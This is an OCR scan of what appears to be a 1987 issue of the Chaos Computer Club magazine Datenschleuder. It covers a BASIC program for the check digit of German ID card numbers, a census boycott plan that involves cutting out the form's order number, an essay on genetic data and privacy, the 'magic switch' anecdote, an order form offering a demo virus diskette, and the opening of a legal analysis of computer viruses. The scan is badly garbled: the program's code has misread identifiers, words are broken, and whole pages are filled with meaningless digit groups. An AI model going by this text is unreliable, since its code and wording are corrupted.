6 2 4 3 2 7 0 4 1 9 7 8 6 2 3 2 0 9 0 0 2 1 6 0 9 9 0 2 3 5 9 8 1 9 7 13991 4 7 5 6 4 4882,6 2 6 0 3 9 0 3 3 8 1 
3 0 4 3 6 9 9 4 1 8 4 9 1 4 6 3 1 4 0 9 3431 7 3 3 1 4 3 4 4 1 8 2 3 2 6 2 5 15097 4 8 2 7 9 0 7 7 7 9 9 6 4 3 7 
6 4 0 5 4 6 2 5 3 1 5 2 0 9 6 19369 0 8 3 3 7 0 7 0 1 6 3 0 8 9 9 7 0 3 8 8 8 6 7 7 8 227 1 3 8 3 6 0 5 77297 

7 6 3 3 ? 6 4 2 4 3 7 8 1 4 0 5 9 2 7 1 4 5 6 3 5 4 9 0 6 1 8324 1 2 5 6 1 1 9 0 7 1 7 66394 6 5 0 7 0 63304 
3 0 3 1 0 7 2 0 8 5 10333 7 5 0 5 1 0 1 1 5 7 4 7 7 0 4 5 2 7 9 5 4 6 6 1 8 5 5 0 9 6 6 6 6 1 3 5 6 6 4 7 0 9 7 1 1 
17 189 3 6 1 0 6 8 7 3 9 6 9 6 5 5 2 1 2 6 7 1 5 4 6 8 8 3 4 4 4 7 4 0 1 6 0 7 0 4 6 2 6 2 1 5 6 8 0 7 1 7 4 8 1 8 7 

9 5 7 0 3 5 0 3 5 4 0 2 1 2 3 40784 9 3 1 9 3 3 4 3 2 1 7 8 4 4 3 7 1 4 3 6 9 3 8 2 1 3 5 5 9 6 7 0 9 5 9 10259 

0 6 8 1 7 0 1 2 1 0 0 5 6 2 7 8 8 0 2 3 5 1 9 3 0 3 3 2 2 4 6 3 6 2 0 0 2 3 5 3 7 1 3 5 8 37435 6 9 6 5 2 2 0 0 0 5 
74501 59539 04730 41995 77770 93503 03117 34392 07321 1390S 03293 63447 

¿¿041 ¿9973 29725 08SÓS 76966 40355 97273 55955 27734 9071 7 83793 42163 
57071 ¿2268 44716 25607 98826 51787 70120 50054 51326 i 38354 40001 36323 
13419 51246 65201 03059 21236 677 1 9 99149 07054 79773 1 35669 73533 58048 
4 3 2 5 2 7 8 6 7 5 3 9 8 5 S 8 9 4 4 3 9 6 9 7 0 9 6 4 0 9 9 6 6 9 0 6 2 9 5 1 19452 4 7 3 0 9 95870- 5 5 2 3 6 TSSS11) I 3 5 b 1 7 b1\ 1 7 n (7, 

e 



Maschinenlesebarer Ausweis 
b 1 .April müssen die autometengerechten Per- einer laufenden Zählnummer, die 10. Stelle Ist 
sos beantragt werden. Zur besseren maschi- eine Prüfsumme, um Lesefehler zu erkennen 
nellen Bürgerverarbeitung ist jetzt der Erts- oder gar zu beheben. Hier das Prüfsummen-
wohnsitz in den ersten vier Stellen der Se- Rechenprogramm: 
riennummer verdatet, Stelle 5 bis 9 entspricht 
Prgniname$= "BPAPRF1" .' Erstellt anhand eines Dokumentes der Dundesdruckorei 
VersionS="$V 1.01" ! "MERKBLATT Euer Personalauswe isbehoerden" 
Stamp$="198703271654"! 5.4 Detailvorschriften 
Copyright$="wau" ! Regeln Euer das Errechnen der Pruefziffer 
Seriennummerlaenge-9 ! Stelle 1..4: Behoerdenkennzahl, 5..9: lfde. Nr. 
1 Diese Standardisierung automatisiert Zugriff ueber Behoerde am Hauptwohnort 
Dim Produkt(Seriennummerlaenge) 
Seriennummer5="270752123" ! Test-Musternummer, deren Pruefziffer 7 ist 
FaktorschluesselS="731731731" ! Faktorenfolge zur Pruefziffernberechnung 
Fehler=False ! kein Fehler bei der Eingabe 
Print "BundesPersonalAusweisPruefziffernberechnung " 
Print "Programm ";Prgmname$;" Version "¡Version!;" Datumzeitgruppe: ";StaiupS 
Do ! Ewige Schleife 

Input "Maschinenlesbare Auswe isnummer ohne Pruefziffer: 11, Ser iennumme r S 
Exit If Len(Seriennummer$)=0 ! Abbruchbedingung Leereingabe 
Gosub Eingabepruefung 
if Not Fehler 

Gosub Errechne_pruefZiffer 
Print "Gefundene Pruefziffer ist: "; Prue f z i t'£ er 

End i f 
Loop 
End 
Procedure Eingabepruefung 

If Len(SerlennummerS)OSeiiennummerlaenge ! Eingabepruefung Laenge 
Print "Fehler - falsche Seriennummernlaenge! (Abbruch mit Leereingabe)" 
Print Seriennummer$ 
Fehler=True' 

Endif 
For 1-1 To Serlennummerlaenge ! Eingabepruefung Ziffern 

I £ Midi(Ser iennummer5,1,1)<"0" Or Mid$(Seriennummer$,1,1)>"9" 
Print "Fehler - andere Eingabe als Ziffer! (Abbruch mit Leere1ngube) " 
Fehler=True 

Endif 
Next I 

Return 
Procedure Errechne_prue£ziffer ! Die folgenden "Zitate" aus o.a. DKument. 

' "Die Endziffer der Seriennummer ist die Pruet'zltfer, die auf der 
' Basis von Modul 10" (richtig: "modulo 10") wie folgt errechnet wird:" 
Gosub Stufel ! "Multiplizieren jeder Ziffer der Behoerdenkennzahl und der 
• laufenden Nummer, beginnend mit der ersten Ziffer der Behoerdenkennzahl 
' mit den Faktoren 731731731" 
Gosub Stufe2 ! "Addieren der Einzelprodukta" 
Gosub Stufe3 ! "Dividieren der Summe durch 10 (Modul)" 
Gosub Stufe4 ! "Verbleibt bei dieser Division ein Rest, so ist dieser die 

Feturn ! Pruefziffer, verbleibt kein Rest, so lautet die Pruefziffer 0." 
Procedure Stufel ! Ziffernweise Multiplikation Ser iennummer*Behoerdenkenrizahl 

For 1=1 To Serlennummerlaenge 
Produkt (I )=Val(MidS (SeriennummerS, 1,1) ) *Va 1 (MidS (Sehl uessel fak tor $, 1,1)) 

Next I 
Return 
, 
Procedure Stufe2 ! Addieren der Einzelprodukte 

Summe=0 
For 1=1 To Seriennummerlaenge 

Add Summe,Produkt(I) 
Next I 

Return 
Procedure Stu£e3 ! Dividiere die Summe durch 10 ohne Rest 

Zehntel_ohne_rest=Int(Summe/10) 
Return 
Procedure Stufe4 ! Pruefziffer ist der bei der Division verbleibende Rest 

pruef z i f fer = Sunune-Zehnte l_ohne_rest*10 
Return 
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Praktischer Datenschutz 

ds-Red. Hamburgs Volkszählungsinitiativen haben 
am 20. März ihr Konzept zur endgültigen Verhinde-
rung der,geplanten staatlichen totalen Erfassung be-
kanntgegeben. Danach soll es zumindest in Hamburg 
ausschließlich einen "harten" Boykott" geben. Von 
verdeckten "weichen" Widerstandsformen raten die 
Initiativen wegen der rechtlichen Konsequenzen für 
den einzelnen ab. 
Die Volkszählungsinitiativen empfehlen ein Drei-
phasenkonzept anläßlich der geplanten Volkszäh-
mung '87": 
1. Annahme des Bogens an der Haustür und Mittei-
lung, daß er dem Statischen Landesamt zurückge-
schickt wird ("Jaja, keine Zeit jetzt"). 
2. Eigenhändige Anonymisierung durch Umgestal-
tung der Ordnungsnummer zum Chaosloch im 
Volkszähmungsbogen mit scherenartigen Werkzeu-
gen. 
3. Weiterleitung der so anomynisierten Unterlagen an 
die nachbarschaftlichen Initiativen oder VoBo-
Sammetstellen. 
Der dritte Punkt dient der Information der Öffent-
lichkeit über die Breite des Widerstandes in anonymi-
sierter Form. 
Adressen und Treffs örtlicher Initiativen können, wie 
bei der letzten verhinderten Zähmung, u. a. über 
Stadtzeitungen und - teilweise - über Datenschutz-
beauftragte und Parteien erfragt werden. 
Angesichts der vielen Werbemillionen für die Indula-
Neuverdatung fordern Spötter anstelle der Volks-
zähmung mit ihren Werbemillionenmark die allge-
meine Volkszahlung '87 dieser Millionen und werfen 
Zählungsfan Heino ("deutscher Sänger für deutsche 
Zählung") vor, er hätte nur Angst, versehentlich im 
polizeilichen Fahndungsraster mit einem von ihm 
beklagten Doppelgänger von den Toten Hosen ver-
wechselt zu werden. 

Gloria von Thurn und Taxis, durch Familientradition 
dem Reichspostregal und so der Einführung der Da-
tenweitergabe an die Hoheit (werschreibt wann wem. 
gegebenenfalls was?) verbunden, wird im Spiegel 
zum Thema zitiert mit "Kriminelle Elemente besser 
erfassen". 

Der SPIEGEL zitiert als CCC-Ratschläge ein wei-
ches Boykottkonzept; ein anderswo verdrucktes Zi-
tat, das die Meinung im Chaos Computer Club nur 
sehr verkürzt wiedergibt. wau 

Formel NullEins: 
Die Hacker-Charts 

1 The Bitles 
YELLOW SUBROUTINE 
2 John TraVolt 
EVERY NIGHT FEVER 
3 Elvis Presley 
IN THE GOTO 
4 Talking Heads 
STOP SENDING SENF 
5 Scrolling Stones 
GIMME PASSWORD 

6 VAX Pistols 
GOD SAVE THE PIN 

7 Think Floyd 
DARK SIDE OF THE CPU 
8 Simon & Furunkel 
BIT OVER TROUBLED DATA 
9 Tina Turner 
NETWORK CITY LIMIT 
A Low Read 
WALK ON THE FILE SIDE 
53537 

13722 

18692 

43961 

72990 

14771 

06064 

•56420 

91704 

43490 

50881 

08761 

36187 

55386 

29460 

85731 

16396 

58459 

97526 

19777 

76964 

47792 

38939 

89365 

06164 

35291 

58029 

33709 

25126 

85082 

80085 

23722 

23151 

63917 

26053 

77983 

33259 

09586 

24003 

99465 

30754 

36273 

29435 

97477 

79574 

81558 

40254 

42794 

31382 

16894 

57248 

42545 

09417 

23661 

30605 

54016 

41587 

35128 

90433 

68329 

58636 

39186 

99376 

10163 

25572 

69672 

Informationelle 
Selbstbestimmung 

leichtgemacht 

(Hamburg,CRD) Seltsames widerfuhr einem Aktivi-
sten, der beim Hamburgischen Statistischen Landes-
amt um Informationsmaterial zur Volkszähmung 
nachsuchte. Als er das gwönschte Material nebst 
Tördröcker schon in der Hand hielt, wurde er von der 
HaStaLA - Dame zwecks Adressabgabe zurückbeor-
dert. Als unser Protagonist nach erfolgter Datenab-
gabe bemerkte, daß seine Daten auf einen Stapel 
gleichartiger Formulare gepackt wurden, fragte er si-
cherheitshalber nach dem Verwendungszweck und 
erhielt den lakonischen Bescheid, der Rechnungsho-
fe verlange diese Angaben. Angesichts der UnWahr-
scheinlichkeit dieser Aussage und des geringen Wer-
tes der erhaltenen Infos, auch in materieller Hinsicht, 
wurde der Datenerfassungsbeleg in Privatbesitz 
zurckgefhrt, was zu heftigem Protest der Dame und 
Herbeiruf eines Vorgesetzen derselben führte. Dieser 
bezog sich ebenfalls auf den Rechnungshof und ver-
langte entweder den DEB oder das Infomaterial zu-
rück, beides wurde verweigert und der Beleg sicher-
heitshalber zerrissen in die Jackentasche versenkt. 
Aber selbst derart verstümmelte Daten wecken das 
Interesse eines Statistikers, und das Angebot des 
Vorgesetzten, man könne die Fetzen gerne im amtsei-
genen Papierkorb endlagern, erschien wie die verge-
blichen Versuche eines Vampirs, an die letzte unver-
seuchte Blutkonserve zu gelangen. Nachdem es 
schliesslich gelungen war. mit dem Informationsma-
terial und ohne Zurücklassung personenbezogener 
Daten das HaStaLA zu verlassen, bestätigte ein Kon-
trollanruf beim Rechnungshof die Handlungsweise: 
Dort wusste man nämlich nichts von eine derartigen 
Anweisung. 

Bis zur Stunde konnte nicht zweifelsfrei geklärt wer-
den, wozu die Daten nun wirklich benötigt werden. 

gobiin 
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Feature: 

Der genetisch gläserne Mensch 
Erbsubstanz in der Rasterfahndung 
75631 39997 22170 33046 17092 39457 
Hamburg (ds) - Als die Kostcnexplosion im Gesund-
heitswesen 1978 öffentliches Thema wurde, betrugen 
die Gesamtausgaben Tür Gesundheit Uber 165 Mil-
liarden Mark oder rund 20 Prozent des verfügbaren 
Einkommens privater Haushalte. "Kostendämp-
fung" wurde zum gängigen Schlagwort der Diskus-
sion, verbunden mit kontroversen Auseinanderset-
zungen über Ausgestaltung und Konsequenzen des 
beabsichtigten Sparkurses. Wesentliche Vorausset-
zung der angepeilten Steuerungsversuche war die 
"Verbesserung der Datenlage", heißt, die Kassen, die 
sich zudem mit einem wachsenden Anteil an chroni-
schen, sozial- und umweltbedingten Krankheiten 
konfrontiert sahen, konstatierten einen wesentlich 
erhöhten Bedarf an Sozial- und Gesundheitsdalen. 
Geplant'wurde ein maschinenlesbarer Versicherte-
nausweis der mit ebenfalls maschinenlesbaren For-
mularen gekoppelt werden sollte. Ein neu einzufüh-
render Paragraph 319 der Reichsversicherungsord-
nung (RVO), sollte die rechtlichen Grundlagen dieses 
sogenannten "Transparenzprojektes" schaffen. Nach 
einer Felderprobung in Schleswig-Holstein wurde 
das Vorhaben jedoch zunächst verworfen. Allerdings 
nicht aus datenschutzrechtlichen, sondern vor allem 
wegen ökonomischer Bedenken. 

Kosten-Nutzen-Rech n ungen 
m}t_Djnen über Erbgut'.' 

90962 71662 26074 17137 49975 35921 
Der dahinter stehende Wunsch nach detaillierten In-
formationssystemen ist damit aber nicht vom Tisch. 
Im Gegenteil! Dem Kassenarzt werden unter Beru-
fung auf Paragraph 368 RVO bereits über 80 vorge-
druckte Bescheinigungen und detaillerte Berichte 
über seine Patienten abverlangt, was im Einzelfall 
bedeuten kann, daß der Patient vor der Alternative 
steht, entweder auf die Wahrung seiner Intimdaten 
oder auf wirksame Hilfe zu verzichten. 
Die Forderung nach mehr Effektivität und Effizienz 
hat auch im Gesundheitswesen zunehmend Kosten-
Nutzen- Rechnungen aufkommen lassen. Der Prä-
ventivmedizin wurde wachsende Bedeutung beige-
messen. Der steigende Anteil umwelthedinger 
Krankheiten hat zudem eine neue medizinische Dis-
ziplin auf den Plan gerufen, die sogenannte ökogene-
Iik. Sie untersucht Wechselwirkungen zwischen Erbe 
und Umwelt, insbesondere Wirkungen potentiell 
erbgutveründernder Stoffe auf die genetische Konsti-
tution des Menschen. Anläßlich eines vom For-
schungsministerium initiierten Fachgesprächs im 
Herbst 198.1, vertraten die Hamburger Humangeneti-
ker Prof, Werner Godde und Prof. Dharam Agarwal 
die Auffassung. daB die Erfassung der genetischen 
Konstitution generell immer wichtiger erscheine. Sie 
empfahlen einen sogenannten Pharmakogenetik-
Pass. der, nach dem Prinzip der Unfallschutzkarten, 
dem behandelnden Arzt Anhaltspunkte über indivi-
duelle Anfälligkeiten oder Resistenzen gegenüber be-
stimmten Substanzgruppen geben soll. 
27560 344J 4 7j732 33032 700 3a 10023 
71936 43002 ¡7323 57349 35947 56433 
4¡29? 43024 95023 57322 14597 3432S 
26414 216Í* 37572 ¡6733 ¿78X0 ¿¡509 

£>atenécf)leuber 

Gen-Analyse öffentlicher Gesundheitsvorsorec 
42434 56984 40187 33 128 10107 9451 2" 
Allgemein stellt sich die Frage, wer in welchem Um-
fang Daten der öffentlichen Gesundheitsfürsorge 
oder kassenärztlichen Abrechnung erheben und of-
fenbaren darf. Wer, zu welchen Zweck ZugriTf be-
kommt - und, unabhängig von solchen formalen Kri-
terien, welche Schlussfolgerungen aus dem Datenma-
terial von wem zu welchem Zweck gezogen werden. 
Kritiker versichern, dass beispielsweise in der Ham-
burger Gesundheitsbehörde und dem Tumorzentrum 
in Hamburg Eppendorf eine Behindertenkartei ge-
rührt werde, in der ca. 2000 Menschen erfasst sind. 
Erkennbare Fehlbildungen bei der Geburt werden 
automatisch beim Statistischen Bundesamt in Wies-
baden ausgewertet. Aus anderen Unterlagen gehe 
hervor, daß in Europa alle Mißbildungen nach ein-
heitlichen Kriterien erfasst werden sollen. 
Nach Auffassung von Prof Dr. Bernd Klees, werde 
eine umfassende prä- und postnatale genetische An-
alyse in naher Zukunft die Grundlage individueller 
Gen-Karten und zentralisierter Genkarteien liefern, 
die die Mehrzahl unserer Bevölkerung einer totalen 
Kontrolle unterwerfen werde. "Das Konstrukt der 
'informationellen Selbstbestimmung-", so Klees, 
"wird dann nur noch eine hilflose Verteidigungslinie 
sein. Die'Volkssählungsdebatte' wäre gegen über den 
'Gen- Debatte' nur ein gleichsam harmloses Prälu-
dium". Die bayrischen Vorstöße zur AIDS- Meldep-
flicht, geben einen Vorgeschmack auf künftige Ent-
wicklungen. 

Gen-Analyse im Arbeitslcben 
72237 37336 1 2605 8 1656 63K3 71439 

Auch wenn dieser Vorschlag zunächst aul verhalte-
nen Beifall stieß, im Rahmen berufsgenossenschaftli-
cher Untersuchungen wird die genetische Analyse 
durch Betriebsärzte zunehmend zur Alltagsroutine 
werden. Nach Auffassung von Dr. Breitstadt. Werk-
sarzi der Firma Höchst, wäre anbetrachl der speziel-
len Arbeitsplatzrisiken im Sinne des derzeitigen be-
rufsgenossenschaftlichen Regelwerkes eine Dul-
dungspflicht genetischer Untersuchungen anzustre-
ben. 
Ein grundsatzliches Recht des Arbeitgebers vor Ein-
stell ung ärztliche Untersuchungen zu verlangen, wird 
nach derzeitiger Rechtslage nicht bestritten - zumin-
dest nicht wenn es darum geht, Arbeitsplatzrisiken zu 
erkennen. Zu erwarten ist. dass in Parallelität zum 
psychologischen in Kürze auch genetische Eignung-
stests eingeführt werden. Auf dieser Grundlage wer-
den Arbeitsgerichte in erster Linie über Grenzen der 
Zumutbarkeit zu befinden haben. Betont wird, dass 
genetische Untersuchungen im Arbeitsleben grund-
sätzlich auf Freiwilligkeit der zu Untersuchenden be-
ruhen sollte. 

Alternativen gesucht 

61278 83732 52737 33903 T2390 50686 

In einem Schreiben an den Vorsitzenden der 

Enquete-Kommission Gentechnik hat die Bundesve-

reinigung der Huntington-Gruppen in der Bundesre-

publik bereits im Februar daraufbestanden, daß aus-

schließlich der Patient die Daten seiner genomanaly-

tischen Untersuchung verwahren bzw. verwenden 

53241 33052 79602 59303 37727 69778 

37923 68409 32536 53807 33983 45721 
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Der magische Schalter 

aus: F O R T H T R E E H a m b u r g 

Vor ein paar Jahren schnüffelte ich in den 
Vitrinen, in denen die P D P - 1 0 des M I T Artificial 
Intelligence Lab' untergebracht war , und ich 
bemerkte e inen kleinen Schalter , der an den 
R a h m e n einer der Vitrinen geklebt war. Es war 
offensichtlich ein in Heimarbeit z u s a m m e n g e -
basteltes Ding, das einer der Hardware Hacker 
des Labors (keiner wußte , wer) angebracht 
hatte. 
M a n faßt keinen unbekannten Schalter an 
e inem Computer an ohne zu wissen, was pas-
siert, denn man könnte einen Absturz herbei-
führen. Der Schalter war auf höchst unh ilfreiche 
W e i s e beschriftet. Es gab zwei Stel lungen, und 
mit Bleistift war auf das Metal l des Schalters 
gekritzelt "magic" und "more magic". Der Schal-
ter war auf "more magic" gekippt. Ich bat e inen 
anderen Hacker , sich das anzusehen . Auch er 
hatte den Schalter noch nie gesehen . Eine 
g e n a u e r e Untersuchung ergab, d a ß bloß E I N 
Draht zu d e m Schal ter führte! Das andere E n d e 
des Drahts verschwand in der Leitungswirrnis 
im Inneren des Computers , aber es ist e ine 
grundlegende Ta tsache von Elektrizität, d a ß 
ein Schalter nichts bewirkt, so lange nicht Z W E I 
Drähte an ihm angeschlossen sind. Dieser 
Schal ter hatte einen Draht, der an der e inen 
Sei te angeschlossen war, und keinen Draht an 
der anderen Seite. 

Es war klar, d a ß dieser Schal ter i rgendjeman-
des Vorstellung von e inem billigen Witz ent-
sprungen war. Bestärkt in unserer Überzeu-
gung, d a ß der Schalter unwirksam war , legten 
w i r ihnum. Der Computer stürzte augenblicklich 
ab. 
M a n stelle sich unser vo l lkommenes Erstaunen 
vor. Wir verbuchten es als Zufall, kippten aber 
nichtsdestotrotz den Schal ter auf die "more 
magic"-Position, bevor wir d e n Computer wie-
der hochfuhren. 
Ein Jahr später erzählte ich die Geschichte 
e inem anderen Hacker - Dav id Moon, w e n n ich 
mich recht er innere. Er zweifel te natürlich an 
m e i n e m Vers tand oder n a h m an, ich würde an 
e ine übernatürl iche Macht in d iesem Schal ter 
g lauben, bez iehungsweise e r d a c h t e , ich foppe 
ihn mit e i n e m Märchen . U m ihn z u überzeugen , 
ze igte ich ihm den Schalter , der i m m e r n o c h an 
der selben Stelle angeklebt war , mit bloß e i n e m 
Draht , der zu ihm führte. Er w a r immer noch in 
der "more magic"-Stel lung. Wir prüften d e n 
Schal ter und seine e i n s a m e Verb indung und 
fanden , d a ß das andere E n d e des Drahts, fest 
verbunden mit der Computerverdrahtung, mit 
einem ground pin verbunden war. Das machte 
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d e n Schalter doppelt nutzlos: er war nicht nur 
elektrisch inoperabel, sondern auch noch ver-
bunden mit e inem Teil, das niemals irgendwie 
oder i rgendwas bewirken würde. Also legten wir 
d e n Schalter um. 

Der Computer stürzte augenblicklich ab. 

D iesmal gingen wir zu Richard Greenblatt , 
e inem altgedienten M IT -
Hacker , der grade da war . Auch ihm war der 
Schal ter nie zuvor aufgefal len. Er inspizierte 
ihn, kam zu d e m Schluß, d a ß er nutzlos ist, 
brachte e inen Sei tenschneider und machte ihn 
raus. Anschl ießend fuhren wir den Rechner 
hoch und alles lief wie geschmiert . 
Wir wissen immer noch nicht, wie der Schalter 
die Maschine z u m Absturz brachte. Es gibt e ine 
Theor ie , d a ß ein vernachlässigbar kleiner 
Strom an d e m ground pin herrscht und das 
U m l e g e n des Schalters die elektrische Leistung 
genügend verändert , um d e n Strom soweit zu 
beeinträchtigen, daß Mil l ionstelsekunden-
Pulse durchlaufen. Aber wir sind nicht sicher. 
Alles was wir sagen können ist, d a ß der Schal -
ter magisch war. 

Ich h a b e den Schalter immer noch bei mir zu 
H a u s e . Vielleicht bin ich verrückt, aber ich habe 
ihn gewöhnlich auf "mote magic" gekippt. 

Überse tzung ins Deutsche von Peter Glaser . 
77751 93299 94213 72772 11253 34360 

37158 34535 ö2696 16619 80572 52661 

22S67 97540 62106 20836 49332 91845 

43953 0 1 529 -53209 25038 0549B 25704 

Laserbriefe 
An die 
Redakt ion "Bratenschleuder" 
C h a o s Computer Club 

Sehr geehr te Redakt ion "Bratenschleuder", 

Hiermit bestel le ich d a s P r o g r a m m p a k e t l ü r d e n 
C 6 4 zu 2 . 5 0 D M . 
D a s Programmpaket enthält: 

Tomatomat Plus 
1-2 -Dry 
Tea Base I 

2,50 DM liegen in Briefmarken bei. 

PS.: Bin begeisterter Computer-Freak! 



















Stnckoreis Anzahl Summe 

D i e H a c k e r b i b e l , Teil Eins 33.33 
Das unentbehrliche Nachschlagewerk für Hacker und solche, 1 

die es werden wollen. Tei te von und für Hacker, Dokumentation, 
Meinungen, Lebenshilfe, Lesespass. 1 
Aus dem Inhalt: das Basic-Gefühl * Neues vom C C C 1 Der Code 
des HaSpa - Coups * Computer & totalitärer Staat * Satelliten-
backing 1 und * und * und.. . 4 

260 Seiten Din A l ISBN 3-922708-98-6 Grüner Zweig 

S t ud i e für den geplanten Computeremsatz der Fraktion 7.50 
'D ie Grünen' im Auftrag des Deutschen Bundestages 
'Die Einführung der Computertechnik gestaltet sich für die Grünen im 
Bundestag so schwer, wie lür andere der Ausstieg aus der Atomindustrie. 
Für beide seht es an die Strukturen.' 

R e c h t s f i b e l für den richtigen Umgang mit der Polizei 
und anderen Amtspersonen sowie Institutionen. 
Ein Ratgeber für Alle, die bei Wahrnehmung ihrer demo-
kratischen Rechte den richtigen Umgang mit staatlichen 
Organen üben wollen. 
120 Seiten D I N A6 ISBN 3-88012-679-8 V M B 

5.00 

Was Sie gegen Mikrozensus und VoUcszzäblung 

tun können. 
Ein praktischer Ratgeber für alle, die sich mit der Volks-
zählung und den damit verbundenen Rechtsproblemen 
beschäftigen. 
300 Seiten D I N A6 2001 Verlag 18061 

5.00 

Inlopaket 1 - Computerviren -
Eine Dokumentation von S.Wemery , die das Thema 
Computerviren ausführlich beleuchtet Das Infopaket 
besteht aus einer MS-Dos Diskette 5 1/4" mit einem 
Demo-Virus sowie 100 kB Dokumentaüonstene. 

25.00 

Aufbacker 'Achtung, Abhörgeiahr' 
Din A4 - Bogen mit 64 Backern, ungeschnitten, postgelb 

3.33 

Bitte bei allen Bestellungen beachten; Alle Antragen an den CCC etc. nicht zusammen mit der 

Bestellung auf uns loslassen, sondern mit getrennter Post schicken, das beschleunigt zumindest die 

Bearbeitung der Bestellung. Beigelegter Rückumschlag beschleunigt noch mehr, wenn selbiger auch 

noch ausreichend frankiert ist. kann es passieren, dal es teuflisch schnell geht Manche Sachen sind 

manchmal nicht oorrätig. Wir erfüllen dann die Bestellung soweit als möglich und legen den Rest 

zurück, bis Material da ist Achtet bitte auf schönste Sonntagschrift, wenn Ihr Eure Adresse nicht mit 

dem Drucker / Stempel anlertigt. wir haben keine Zeit, dauernd mit den Fetzen in die Apotheke zu 

rennen. Sendungen mit besonderer Versendunssform 1 Einschreiben. Nachnahme, etc) wurden ran 

nns grundsätzlich weder »erschickt noch angenommen, es sind grundsätzlich nur die im Bestellletzen 

aufgeführten Zahl weisen zulässig. 
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Mitgliedschaft im Chaos Computer Club e.V. 
Betrag Summe 

Jahresbeitrag für Schüler, Studenten, pipapo 60.00 i I 

Jahresbeitrag für Otto Nürmaluser 120.00 | J 

Jahresbeitrag für besonders Finanzstarke (förderndes Mitglied) ab 240.OD | | 

Einmalige Verwaltungsgebühr bei Eintritt 20.00 | | 

Mitglieder des CCC erhalten automatisch die Datenschleuder zugesandt und sind aufgefordert, aktio 

an der Arbeit des Vereins teilzunehmen. Die Mitgliedschaft im CCC berechtigt zur Inanspruchnahme 

verbilligter Accounts auf der INFEX • Mailbox sowie zum Zugriff auf die Clubbretter der CLINCH -

Mailbox. Für alle Veranstaltungen des CCC wird ermäßigter Eintritt gewährt 

T e i l n a h m e an der I N F E X - M a i l b o x 
Einmalige Eintragungsgebühr 20.00 | | 

Mindestnutzung pro Monat 8.00 

VerMndungsgebühr pro Minute 0.15 

Jede versandte Nachricht 0.07 

Datenbank, Telex, Intermail nach Nutzung 

Die INFEX ist ein kommerzielles Mäilhaxssrsterii mit acht parallelen Ports, d.h. acht 

Benutzer können parallel im System arbeiten und die GeoNet - Dienstleistungen nutzen, 

zum Beispiel Datenbankdienste, Telexversand und - Empfang, Intermail zu anderen 

GeoNet - Boxen, von und nach BTX, etc. Die in der Box verursachten Gebühren werden 

direkt mit dem CCC abgerechnet, wir geben alle Gebühren zum Selbstkostenpreis 

weiter. Wer einen preiswerten Anschluß an die kommerzielle Mailboxszene sucht, ist 

mit Infex bestens bedient. 

T e i l n a h m e an der C L I N C H - M a i l b o x 
Einmalige Eintragungsgebühr 10.0ü[ 

Monatsgebühr für Schüler etc. 2.00| 

Monatsgebühr für Normaiverdiener 5.00 ® 

Intermail, Tele», etc nach Nutzung 

Die CL INCH - MailboK ist ein nichtkommerzielles Mailboxpiojekt das versuch? eine 

preiswerte Alternative zu den kommerziellen Systemen zu sein. EJerzeit stehen ein 

Telefon- und ein Datex-Port zur Verfügung, die wahlweise genutzt werden können. Die 

Leistungen der CL INCH - Box sind ein Subset der Leistungen von GeoNet - Boren, 

soweit dies auf einem MS-Dos - System machbar ist. Die Abrechnung der 

Nutzungsbeiträge erfolgt direkt mit der CLINCH - Box. C C C - Mitglieder erhalten 

Zugriff auf spezielle Bretter, die dem normalen Nutzer nicht zur Verfügung stehen. Der 

CCC wickelt über die Box Koordinierungsaufgaten des Vorstands und der Redaktion 

der Datenschleuder ab. 

^ ^ © ¡ c Smtciiärijlciibcr Numero 21 - Juni 19?,7 Seite 11 





1. Entwicklung von Virusprogrammen. 

Die Entwicklung und Programmierung von Viru-

sprogrammen als solche ist grundsätzlich rechtlich 

unbenklich. 

Vir jus 

Rechtliche Aspekte von 

Computer viren 

Computerviren sind heute ein heiß diskutiertes The-

ma. Sie waren Zentralthema auf dem CCC '86, 

dessen Dokumentarien von Steffen Wernery in der 

DATENSCHLEUDER 18 abgedruckt wurde. 

Wegen ihrer zunehmenden Brisanz sind Compu-

terviren aber auch ein beliebtes Thema sowohl der 

Computerfachpresse wie auch der allgemeinen Pres-

se geworden. Hierbei geht es fast immer aus-

schliesslich, oder doch ganz überwiegend, um die 

rein technischen Fragen der Computerviren. Fragen 

wie: Was ist ein Virus, wie wird er programmiert, 

wie wird er angewendet, und, nicht zuletzt natürlich, 

wie kann man sich vor Computerviren schützen. 

2. Einsatz von Virusprogrammen 

Viren nisten sich in noch unverseuchte Programme 

ein. Ein bisher unverseuchtes Programm, das von 

einem Virus befallen wird, wird daher durch den 

Virusbefall verändert, selbst wenn das Programm 

weiterhin fehlerfrei läuft und auch ein sonstiger 

Schaden nicht eintritt oder feststellbar ist. Die Ver-

änderung von fremden Daten (und Programme sind 

natürlich auch Daten!) ohne Einwilligung des Be-

rechtigten reicht aber für den Tatbestand des 303a 

StGB (Datenveränderung) aus, soweit die Tat vor-

sätzlich erfolgte. Die Datenveränderung nach 303a 

StGB kann mit bis zu 2 Jahren Freiheitsstrafe oder 

Geldstrafe geahndet werden. 

Jedenfalls bei vorsätzlichem Viruseinsatz ist für den 

entstandenen Schaden Ersatz zu leisten. Hierbei 

können leicht unüberschaubare Summen Zustande-

kommen, die kein Schädiger zu Lebzeiten mehr 

vollständig abtragen kann! Soweit die Schädigung 

nur fahrlässig erfolgte, ist die rechtliche Situation 

problematisch. Vgl. hierzu den Volltext in CL INCH 

oder der HACKERB EBEL, Teil 2. 

Die Frage welche rechtlichen Konsequenzen sich 

aus Programmierung, Anwendung etc. von Viren 

ergeben kann, wird weitgehend unbeachtet gelassen 

oder nur kurz und unvollständig am Rande behan-

delt. Dies ist der Grund, warum ich eine Studie über 

die rechtlichen Aspekte von Computerviren verfaßt 

und, anläßlich des CCC-Virenforums Ostem '87 im 

Brett Virenforum von CL INCH , veröffentlicht habe. 

D a nicht jeder die Möglichkeit hat, sich dort den Text 

per download herauszuziehen, ein Abdruck des 

Textes bei einer Länge von knapp 60 kB den Umfang 

der vorliegenden D A T E N S C H L E U D E R aber ge-

sprengt hätte, ist es vorgesehen, die Studie in der 

voraussichtlich im Herbst erscheinenden HAC-

K E R B I B E L , Teil 2, abzudrucken. 

Wegen des großen Interesses, gerade unter den Pro-

grammierern von Virusprogrammen, aber schon 

hier die wichtigsten Ergebnisse in stark gekürzter 

Fassung: 

Sei te 1 4 Nui 

3. Weitergabe von Virusprogrammen 

Grundsätzlich spricht nichts dagegen, Vinispro-

gramme im Quellcode oder als lauffähige Version, 

an Dritte weiter zu geben. Aber Vorsicht!!! Wennder 

Abnehmer des Virusprogramms das Programm in 

strafbarer Weise einsetzt, kann sich auch der Pro-

